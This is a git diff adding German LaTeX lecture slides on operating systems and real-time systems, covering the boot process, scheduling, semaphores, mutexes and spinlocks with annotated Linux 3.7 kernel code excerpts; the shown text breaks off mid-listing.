diff --git a/20220314/Operating_system_placement-de.pdf b/20210409/Operating_system_placement-de.pdf similarity index 100% rename from 20220314/Operating_system_placement-de.pdf rename to 20210409/Operating_system_placement-de.pdf diff --git a/20210409/bs-20210409-fig1.tex b/20210409/bs-20210409-fig1.tex new file mode 100644 index 0000000000000000000000000000000000000000..0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0 --- /dev/null +++ b/20210409/bs-20210409-fig1.tex @@ -0,0 +1,11 @@ +\documentclass{article} +\input tmp.inputs +\pagestyle{empty} +\begin{document} + \begin{pspicture}(6,2) + \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} + \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} + \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) + \end{pspicture} + +\end{document} diff --git a/20210409/bs-20210409-fig2.tex b/20210409/bs-20210409-fig2.tex new file mode 100644 index 0000000000000000000000000000000000000000..0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0 --- /dev/null +++ b/20210409/bs-20210409-fig2.tex @@ -0,0 +1,11 @@ +\documentclass{article} +\input tmp.inputs +\pagestyle{empty} +\begin{document} + \begin{pspicture}(6,2) + \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} + \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} + \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) + \end{pspicture} + +\end{document} diff --git a/20210409/bs-20210409.pdf b/20210409/bs-20210409.pdf new file mode 100644 index 0000000000000000000000000000000000000000..f1a3b188e2d9f110ededbdd531406973391a2b72 Binary files /dev/null and b/20210409/bs-20210409.pdf differ diff --git a/20210409/bs-20210409.tex b/20210409/bs-20210409.tex new file mode 100644 index 0000000000000000000000000000000000000000..6631f38607d915dc319433f6db9e32f9fb6a5427 --- /dev/null +++ b/20210409/bs-20210409.tex @@ -0,0 +1,1576 @@ +% bs-20110409.pdf - Lecture Slides on Operating Systems +% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021 Peter Gerwinski +% +% This document is free software: you can redistribute it and/or +% modify it either under the terms of the Creative Commons +% Attribution-ShareAlike 3.0 License, or under the terms of the +% GNU General Public License as published by the Free Software +% Foundation, either version 3 of the License, or (at your option) +% any later version. +% +% This document is distributed in the hope that it will be useful, +% but WITHOUT ANY WARRANTY; without even the implied warranty of +% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +% GNU General Public License for more details. +% +% You should have received a copy of the GNU General Public License +% along with this document. If not, see <http://www.gnu.org/licenses/>. +% +% You should have received a copy of the Creative Commons +% Attribution-ShareAlike 3.0 Unported License along with this +% document. If not, see <http://creativecommons.org/licenses/>. + +\documentclass[10pt,t]{beamer} + +\usepackage{pgslides} +\usepackage{rotating} +\usepackage{pdftricks} +\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} +\usepackage{eurosym} +\usepackage{tikz} + +\begin{psinputs} + \usepackage[latin1]{inputenc} + \usepackage[german]{babel} + \usepackage[T1]{fontenc} + \usepackage{helvet} + \renewcommand*\familydefault{\sfdefault} + \usepackage{pstricks} + \psset{unit=1cm} +\end{psinputs} + +\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme} +\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} +\date{9.\ April 2021} + +\begin{document} + +\newlength{\normalpdfpageheight} +\setlength{\normalpdfpageheight}{\pdfpageheight} + +\maketitleframe + +\date{\begin{picture}(0,0) + \color{red} + \put(0.265,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{% + \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}} + \end{picture}% + 9.\ April 2021} + +\maketitleframe + +\author{{\color{gray}Prof.\ Dr.\ rer.\ nat.\ }Peter {\color{gray}Gerwinski}} + +\maketitleframe + +\sectionnonumber{Vorab: Online-Werkzeuge} + +\begin{frame} + + \showsectionnonumber + \begin{itemize} + \item + \textbf{Mumble}: Seminarraum 2\\ + Fragen: Mikrophon einschalten oder über den Chat\\ + Umfragen: über den Chat + \smallskip + \item + \textbf{VNC}: Kanal 6, Passwort: \lstinline[style=cmd]{testcvh}\\ + Eigenen Bildschirm freigeben: per VNC-Server oder Web-Interface\\ + Kamerabild übertragen: Link zu Web-Interface auf Anfrage + \smallskip + \item + Allgemeine Informationen: + \url{https://www.cvh-server.de/online-werkzeuge/} + \smallskip + \item + Notfall-Schnellzugang: \url{https://www.cvh-server.de/virtuelle-raeume/}\\ + Seminarraum 2, VNC-Passwort: \lstinline[style=cmd]{testcvh} + \smallskip + \item + Bei Problemen: bitte notieren:\\ + Art des Problems, genaue Uhrzeit, JavaScript-Fehlermeldungen (F12) + \bigskip + \item + GitLab: \url{https://gitlab.cvh-server.de/pgerwinski/bs}\\ + Links auf die Datei klicken, nicht mittig auf den Kommentar. + \end{itemize} + +\end{frame} + +\sectionnonumber{Treiberentwicklung, Echtzeit- und Betriebssysteme} + +%\begin{frame} +% +% \showsectionnonumber +% +% \begin{itemize} +% \item[\textbf{1}] \textbf{Einführung} +% \item[\textbf{\dots}] +% \end{itemize} +% +%\end{frame} + +\section{Einführung} + +\begin{frame} + + \showsection + + Was ist ein Betriebssystem? + + \pause + \strut\hfill + \begin{picture}(0,0) + \put(0,1.5){\makebox(0,0)[tr]{\includegraphics[height=7cm]{Operating_system_placement-de.pdf}}} + \end{picture} + \begin{itemize} + \item + Software, die zwischen Hardware\\ + und Anwendung vermittelt + \pause\bigskip + \item + Mikro-Controller:\\ + Anwendung greift \emph{direkt\/} auf Hardware zu + \pause\bigskip + \item + Eingebettetes System:\\ + Anwendung startet automatisch + \item + Arbeitsplatz-Computer: + \newterm{Oberfläche (Shell)}\\ + Benutzer*in wählt Anwendung aus + \pause\bigskip + \item + Ressourcen-Verwaltung + \end{itemize} + \pause + \begin{picture}(0,0) + \put(7.5,6.1){\makebox(0,0)[bl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,1.5);}}} + \put(7.5,7.6){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,-1.5);}}} + \put(7.8,0.2){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt, rounded corners] (0,0)--(4.1,0)--(4.1,1.2)--(0,1.2)--cycle;}}} + \put(9.85,-0.5){\makebox(0,0.1){Benutzer*in}} + \put(8.97,0.12){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0)--(0,0.65);}}} + \put(10.63,0.17){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0.65)--(0,0);}}} + \end{picture} + +\end{frame} + +\begin{frame} + + \showsection + + Was gehört zum Betriebssystem? + + \strut\hfill + \begin{picture}(0,0) + \thicklines + \put(-3,0){\vector(0,-1){7}} + \put(-2.8,-0.5){\makebox(0,0)[l]{Ja, klar!}} + \put(-2.8,-6.5){\makebox(0,0)[l]{Hmm\,\dots\ vielleicht.}} + \end{picture} + + \begin{itemize} + \item + Betriebssystemkern: \newterm{Kernel} + \item + Benutzeroberfläche: \newterm{Shell}\\ + text- oder grafikorientiert\\ + (im engeren Sinne: Kommandozeile) + \item + Werkzeuge zur Verwaltung von Ressourcen\\ + (z.\,B.\ Festplatten formatieren) + \item + Graphische Benutzeroberfläche: \newterm{GUI} + \item + Texteditor + \item + Entwicklungswerkzeuge (Compiler usw.),\\ + Skriptsprachen + \item + Internet-Software: Web-Browser, E-Mail-Client usw. + \item + Multimedia-Software + \item + Büro-Anwendungssoftware + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + + In dieser Lehrveranstaltung: + \begin{itemize} + \item + Treiberentwicklung\\ + wie in \emph{Hardwarenahe Programmierung\/} (3./5.\ Sem.), nur "`größer"' + \item + Echtzeitsysteme\\ + wie in \emph{Eingebettete Systeme\/} (3./5.\ Sem.), nur "`größer"' + \item + neu: Betriebssysteme + \end{itemize} + + \pause + \medskip + + Statt Klausur: Projektaufgabe, z.\,B.: + \begin{itemize} + \item + neuartiger Treiber (z.\,B.\ für neuartige Hardware) + \item + neuartige Echtzeit-Funktionalität + \begin{onlyenv}<3-> + \begin{picture}(0,0) + \color{red} + \put(0.3,0.25){\makebox(0,0)[tl]{\begin{minipage}{6cm} + speziell: Echtzeitkommunikation\\ + für Home-Office und Online-Lehre + \end{minipage}}} + \end{picture}% + \end{onlyenv}% + \item + Sonstiges + \end{itemize} + + \pause + \pause + \medskip + + Wiederholung: + \begin{itemize} + \item + Unix + \item + Hardwarenahe Programmierung + \item + Theorie der Echtzeit-Systeme + \item[\textbf{?}] + Sonstiges + \end{itemize} + +\end{frame} + +\iffalse + +\begin{frame} + {\tiny\color{gray}Diese Folie wurde weitgehend absichtlich leer gelassen.} +\end{frame} + +\section{Der Bootvorgang} + +\begin{frame} + + \showsection + + \begin{itemize} + \item + Rechner einschalten\\ + \textarrow\ Programm im Festspeicher (ROM) startet + \item + Mikro-Controller: Das war's schon.\\ + Arbeitsplatzrechner: Weiter geht's. + \item + Programm spricht Datenträger an,\\ + lädt und startet größeres Programm,\\ + kann mehr Datenträger ansprechen + \item + größeres Programm lädt noch größeres Programm + \item + \dots + \item + Zuletzt: Programm starten, das mit dem Benutzer interagiert + \bigskip + \item + abstraktes Beispiel: Bootloader, Kernel, Anmelde-Prozeß + \item + konkretes Beispiel: Linux\\ + GRUB-Stages, Kernel mit initrd, init, getty und/oder Display-Manager + \end{itemize} + +\end{frame} + +\setcounter{section}{3} +\section{Echtzeit} +\subsection{Was ist Echtzeit?} + +\begin{frame} + + \showsection + \vspace{-\smallskipamount} + \showsubsection + + \begin{itemize} + \item + Animation in Echtzeit:\\ + schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung + \item + Fantasy-Rollenspiel in Echtzeit:\\ + Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. + \item + Datenverarbeitung in Echtzeit:\\ + Die Daten werden so schnell verarbeitet, wie sie anfallen. + \item + speziell: Echtzeit-Steuerung von Maschinen:\\ + Die Berechnung kann mit den physikalischen Vorgängen schritthalten. + \smallskip + \arrowitem + "`Schnell genug."' + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsubsection + + "`Schnell genug."' -- "`Und wenn nicht?"' + + \begin{itemize} + \item + "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt] + rechtzeitiges Ergebnis funktionsentscheidend + + \smallskip + + \item + "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt] + verspätetes Ergebnis qualitätsmindernd + \begin{itemize} + \baselineskip14pt\par + \item + verwenden und Verzögerung in Kauf nehmen + \item + verwerfen und Ausfall in Kauf nehmen + \end{itemize} + + \smallskip + + \item + "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt] + \textarrow\ \newterm{keine Echtzeit} + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsection + + Das Problem: + \vspace{-\bigskipamount} + \begin{center} +% \begin{picture}(6,2) +% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} +% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} +% \put(2.75,0.875){\vector(1,3){0.25}} +% \put(2.75,0.875){\line(2,1){0.5}} +% \put(3.25,1.125){\vector(-1,-3){0.25}} +% \end{picture} + \begin{pdfpic} + \begin{pspicture}(6,2) + \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} + \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} + \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) + \end{pspicture} + \end{pdfpic} + \end{center} + + Beispiel: + \begin{itemize} + \item + Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ + dessen Berechnung maximal \SI{10}{\mics} dauert. + \item + Entweder: Der Steuer-Computer macht noch andere Dinge.\\ + \textarrow\ Risiko der Zeitüberschreitung + \item + Oder: Der Steuer-Computer macht nichts anderes.\\ + \textarrow\ Verschwendung von Rechenzeit\\ + {\color{red}\textarrow\ Na und?} + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsection + + Das Problem: + \vspace{-\bigskipamount} + \begin{center} + \begin{pdfpic} + \begin{pspicture}(6,2) + \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} + \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} + \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) + \end{pspicture} + \end{pdfpic} + \end{center} + + \medskip + + {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} + + \medskip + + Große Stückzahlen + \begin{itemize} + \item + 138\,000 Toyota Prius V von Mai 2011 bis April 2012 + \end{itemize} + + \medskip + + Wertvolle Ressourcen + \begin{itemize} + \item + Fähigkeiten einer Raumsonde optimieren + % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg) + % 70000000 / 550000 = 127._27 + % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ + % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}} + \item + Implantat: Platz- und Stromverbrauch minimieren + % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}} + \end{itemize} + + \bigskip + + \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] + \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden + +\end{frame} + +\subsection{Multitasking} + +\begin{frame} + + \showsection + \showsubsection + + \begin{minipage}[t]{6cm} + Qualitätssicherung beim Multitasking + \begin{itemize} + \item + Verschiedene Anforderungen: + \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ + vs.\ \newterm{Durchsatz} + \item + Ressourcen reservieren:\\ + \newterm{Mutexe} + (= spezielle \newterm{Semaphore\/})\\ + \strut + \item + Verschiedene Methoden\\ + der Priorisierung\\ + \strut + \item + Umgehung der Probleme durch + speziell geschriebene Software\\ + (MultiWii, RP6, \dots) + \end{itemize} + \end{minipage} + \hfill + \begin{minipage}[t]{6.2cm} + Qualitätssicherung für Netzwerke: + \begin{itemize} + \item + Verschiedene Anforderungen: + \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} + \item + Ressourcen reservieren:\\ + \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} + \item + Klassifizierung und Priorisierung: + \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) + bzw.\ Traffic-Class-Bits (IPv6) im IP-Header + \item + Eigenes Protokoll (Telefondienste):\\ + \newterm{Asynchronous Transfer Mode (ATM)} + \end{itemize} + \end{minipage} + +\end{frame} + +% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren + +% evtl. Aufgabe: Warte-Problem + +% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme +% das o.a. Zuteilungsproblem? + +% Danach: Semaphoren, Mutexe, Spinlocks +% Priorisierungsmethoden und -probleme + +\subsectionnonumber{Beispiele für Multitasking} + +\begin{frame} + + \showsubsectionnonumber + + Quadrocopter-Steuerung \emph{MultiWii} + \begin{itemize} + \item + Konfiguration durch bedingte Compilierung (Präprozessor) + \item + In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ + ansonsten zyklisch einer von bis zu 5 weiteren Tasks. + \end{itemize} + + RP6-Steuerung + \begin{itemize} + \item + Konfiguration durch bedingte Compilierung (Präprozessor) + \item + Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ + Die Interrupt-Handler zählen Variable hoch. + \item + 10000mal pro Sekunde: Timer-Interrupt\\ + verschiedene Tasks werden unterschiedlich häufig aufgerufen + \item + Nebenbei: 1 Benutzerprogramm + \end{itemize} + + Linux 0.01 + \begin{itemize} + \item + Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ + Task mit höchstem Zähler bekommt Rechenzeit. + \item + Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ + bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. + \item<3-> + \emph{keine\/} harte Echtzeit + % Aufgabe: Wo wird der Zähler heruntergezählt? + \end{itemize} + +\end{frame} + +\iffalse + +\subsectionnonumber{Zombies} + +\begin{frame} + + \showsubsectionnonumber + + \pause + Wikipedia: + \begin{quote} + Als Zombie wird die fiktive Figur eines zum Leben erweckten + Toten (Untoter) oder eines seiner Seele beraubten, willenlosen + Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe + aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet + dort ursprünglich einen Totengeist. + \end{quote} + + \bigskip + + \pause + Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ + bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ + hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ + wird aber noch in der Prozeßliste geführt ("`untot"'). + \begin{itemize} + \pause + \item + Warum? + \textarrow\ + Ein anderer Prozeß (Elternprozeß) wartet noch auf den + Rückgabewert des beendeten Prozesses. + \pause + \item + Schadet das? + \textarrow\ + Nein. + \pause + \item + Aber? + \textarrow\ + Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen + Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. + \pause + \item + Beispiel: + Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ + \textarrow\ + Tochterprozesse werden zu Zombies. + \end{itemize} + +\end{frame} + +\fi + +\subsection{Ressourcen} + +\begin{frame} + + \showsection + \showsubsection + + Ressourcen reservieren + \begin{itemize} + \item + \newterm{Semaphor}\\ + gemeinsame Variable mehrerer Prozesse\\ + zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] + Ressource belegt \textarrow\ Kontextwechsel + \begin{onlyenv}<1> + \par\medskip + griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ + "`Eisenbahnsignal"' + \vspace*{-3cm} + \end{onlyenv} + \pause + \medskip + \item + \newterm{Mutex}\\ + Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ + auf eine Ressource zugreifen kann + \begin{onlyenv}<2> + \par\medskip + englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ + spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ + % allgemein: auch jemand anderer dürfte freigeben + \vspace*{-3cm} + \end{onlyenv} + \pause + \medskip + \item + \newterm{Spinlock} (\emph{busy waiting\/})\\ + leichtgewichtige Alternative zu Kontextwechsel + \begin{onlyenv}<3> + \par\medskip + englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ + \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] + Hardware-Unterstützung: + Prüfen, ob Variable bestimmten Wert hat;\\ + wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten + \vspace*{-3cm} + \end{onlyenv} + \pause + \medskip + \item + \newterm{Kritischer Abschnitt -- critical section}\\ + Programmabschnitt zwischen Reservierung\\ + und Freigabe einer Ressource\\ + \textarrow\ sollte immer so kurz wie möglich sein + \vspace*{-1cm} + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ressourcen reservieren: Beispiele + \begin{itemize} + \item + \newterm{Semaphor}\\ + \file{linux-3.7-rc1/kernel/semaphor.c}\\ + \file{linux-3.7-rc1/drivers/usb/core/file.c} + \medskip + \item + \newterm{Mutex}\\ + \file{linux-3.7-rc1/kernel/mutex.c}\\ + \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c} + \medskip + \item + \newterm{Spinlock}\\ + \file{linux-3.7-rc1/kernel/spinlock.c}\\ + \file{linux-3.7-rc1/kernel/semaphor.c}, + \file{linux-3.7-rc1/kernel/mutex.c} + \end{itemize} + + % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren + + % evtl. Aufgabe: Warte-Problem + + % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme + % das o.a. Zuteilungsproblem? + + % Danach: Semaphoren, Mutexe, Spinlocks + % Priorisierungsmethoden und -probleme + + % Festplatten: completely fair queueing + % cat /sys/block/sdc/queue/scheduler + % "noop" hat sich für SVG gelohnt + + % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos + +\end{frame} + +\begin{frame}[fragile] + + \textbf{Beispiel:} + \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren + + Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 + + \medskip + + \begin{lstlisting} + struct usb_serial *usb_serial_get_by_index (unsigned index) + { + struct usb_serial *serial; + mutex_lock (&table_lock); + serial = serial_table[index]; + if (serial) + { + mutex_lock (&serial->disc_mutex); + if (serial->disconnected) + { + mutex_unlock (&serial->disc_mutex); + serial = NULL; + } + else + kref_get (&serial->kref); + } + mutex_unlock (&table_lock); + return serial; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(5.1,6.85){\vector(-1,0){0.5}} + \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} + \put(5.4,1.35){\vector(-1,0){0.5}} + \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} + \end{picture} + +\end{frame} + +\setlength{\pdfpageheight}{48cm} + +\begin{frame}[fragile] + + \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten + + Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 + + \medskip + + \begin{lstlisting} + void __sched mutex_lock (struct mutex *lock) + { + might_sleep (); + __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); + mutex_set_owner (lock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(11.6,1.35){\line(-1,0){1}} + \put(11.6,1.35){\line(0,-1){2.45}} + \put(11.6,-1.10){\vector(-1,0){2.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 + + Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) + + \medskip + + Assembler: + \begin{lstlisting}[language={[x86masm]Assembler}] + lock dec (lock->count) + jns 1 + call __mutex_lock_slowpath + 1: + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9,0.95){\line(-1,0){3.5}} + \put(9,0.95){\line(0,-1){2.5}} + \put(9.0,-1.55){\vector(-1,0){1.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 + + \medskip + + \begin{lstlisting} + static __used noinline void __sched + __mutex_lock_slowpath (atomic_t *lock_count) + { + struct mutex *lock = container_of (lock_count, struct mutex, count); + __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, + NULL, _RET_IP_); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(11.0,1.40){\line(-1,0){1.0}} + \put(11.0,1.40){\vector(0,-1){2.5}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 + + \medskip + + \begin{lstlisting} + static inline int __sched + __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, + struct lockdep_map *nest_lock, unsigned long ip) + { + struct task_struct *task = current; + struct mutex_waiter waiter; + unsigned long flags; + + preempt_disable (); + mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); + + /* ... */ + + spin_lock_mutex (&lock->wait_lock, flags); + + debug_mutex_lock_common (lock, &waiter); + debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); + + /* add waiting tasks to the end of the waitqueue (FIFO): */ + list_add_tail (&waiter.list, &lock->wait_list); + waiter.task = task; + + if (atomic_xchg (&lock->count, -1) == 1) + goto done; + + lock_contended (&lock->dep_map, ip); + + for (;;) + { + /* + * Lets try to take the lock again - this is needed even if + * we get here for the first time (shortly after failing to + * acquire the lock), to make sure that we get a wakeup once + * it's unlocked. Later on, if we sleep, this is the + * operation that gives us the lock. We xchg it to -1, so + * that when we release the lock, we properly wake up the + * other waiters: + */ + if (atomic_xchg (&lock->count, -1) == 1) + break; + + /* + * got a signal? (This code gets eliminated in the + * TASK_UNINTERRUPTIBLE case.) + */ + if (unlikely (signal_pending_state (state, task))) + { + mutex_remove_waiter (lock, &waiter, task_thread_info (task)); + mutex_release (&lock->dep_map, 1, ip); + spin_unlock_mutex (&lock->wait_lock, flags); + + debug_mutex_free_waiter (&waiter); + preempt_enable (); + return -EINTR; + } + __set_task_state (task, state); + + /* didn't get the lock, go to sleep: */ + spin_unlock_mutex (&lock->wait_lock, flags); + schedule_preempt_disabled (); + spin_lock_mutex (&lock->wait_lock, flags); + } + + done: + lock_acquired (&lock->dep_map, ip); + /* got the lock - rejoice! */ + mutex_remove_waiter (lock, &waiter, current_thread_info ()); + mutex_set_owner (lock); + + /* set it to 0 if there are no waiters left: */ + if (likely (list_empty (&lock->wait_list))) + atomic_set (&lock->count, 0); + + spin_unlock_mutex (&lock->wait_lock, flags); + + debug_mutex_free_waiter (&waiter); + preempt_enable (); + + return 0; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(7.9,28.3){\vector(-1,0){0.5}} + \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} + \put(7.4,2.3){\vector(-1,1){0.4}} + \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} + \end{picture} + +\end{frame} + +\setlength{\pdfpageheight}{40.5cm} + +\begin{frame}[fragile] + + \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} + + Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 + + \medskip + + \begin{lstlisting} + #define spin_lock_mutex(lock, flags) \ + do \ + { \ + spin_lock (lock); \ + (void) (flags); \ + } \ + while (0) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(8.5,1.75){\line(-1,0){4.5}} + \put(8.5,1.75){\line(0,-1){2.9}} + \put(8.5,-1.15){\vector(-1,0){1.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 + + \medskip + + \begin{lstlisting} + static inline void spin_lock (spinlock_t *lock) + { + raw_spin_lock (&lock->rlock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.3,0.95){\line(-1,0){4.0}} + \put(9.3,0.95){\line(0,-1){2.1}} + \put(9.3,-1.15){\vector(-1,0){1.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 + + \medskip + + \begin{lstlisting} + #define raw_spin_lock(lock) _raw_spin_lock (lock) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(10.0,0.55){\line(-1,0){0.5}} + \put(10.0,0.55){\line(0,-1){1.7}} + \put(10.0,-1.15){\vector(-1,0){1.3}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 + + \medskip + + \begin{lstlisting} + #define _raw_spin_lock(lock) __raw_spin_lock (lock) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(10.7,0.55){\line(-1,0){0.5}} + \put(10.7,0.55){\line(0,-1){1.75}} + \put(10.7,-1.2){\vector(-1,0){2.3}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): + + \medskip + + \begin{lstlisting} + void __lockfunc __raw_spin_lock (spinlock_t *lock) + { + for (;;) + { + preempt_disable (); + if (likely (do_raw_spin_trylock (lock))) + break; + preempt_enable (); + + if (!(lock)->break_lock) + (lock)->break_lock = 1; + while (!raw_spin_can_lock (lock) && (lock)->break_lock) + arch_spin_relax (&lock->raw_lock); + } + (lock)->break_lock = 0; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(10.7,4.75){\line(-1,0){3.5}} + \put(10.7,4.75){\line(0,-1){5.95}} + \put(10.7,-1.2){\vector(-1,0){1.1}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: + + \medskip + + \begin{lstlisting} + static inline int do_raw_spin_trylock (raw_spinlock_t *lock) + { + return arch_spin_trylock (&(lock)->raw_lock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(11.5,0.95){\line(-1,0){3.5}} + \put(11.5,0.95){\line(0,-1){2.1}} + \put(11.5,-1.15){\vector(-1,0){0.7}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: + + \medskip + + \begin{lstlisting} + static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) + { + return __ticket_spin_trylock (lock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.5,0.95){\line(-1,0){3.5}} + \put(9.5,0.95){\vector(0,-1){1.7}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: + + \medskip + + \begin{lstlisting} + static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) + { + arch_spinlock_t old, new; + + old.tickets = ACCESS_ONCE (lock->tickets); + if (old.tickets.head != old.tickets.tail) + return 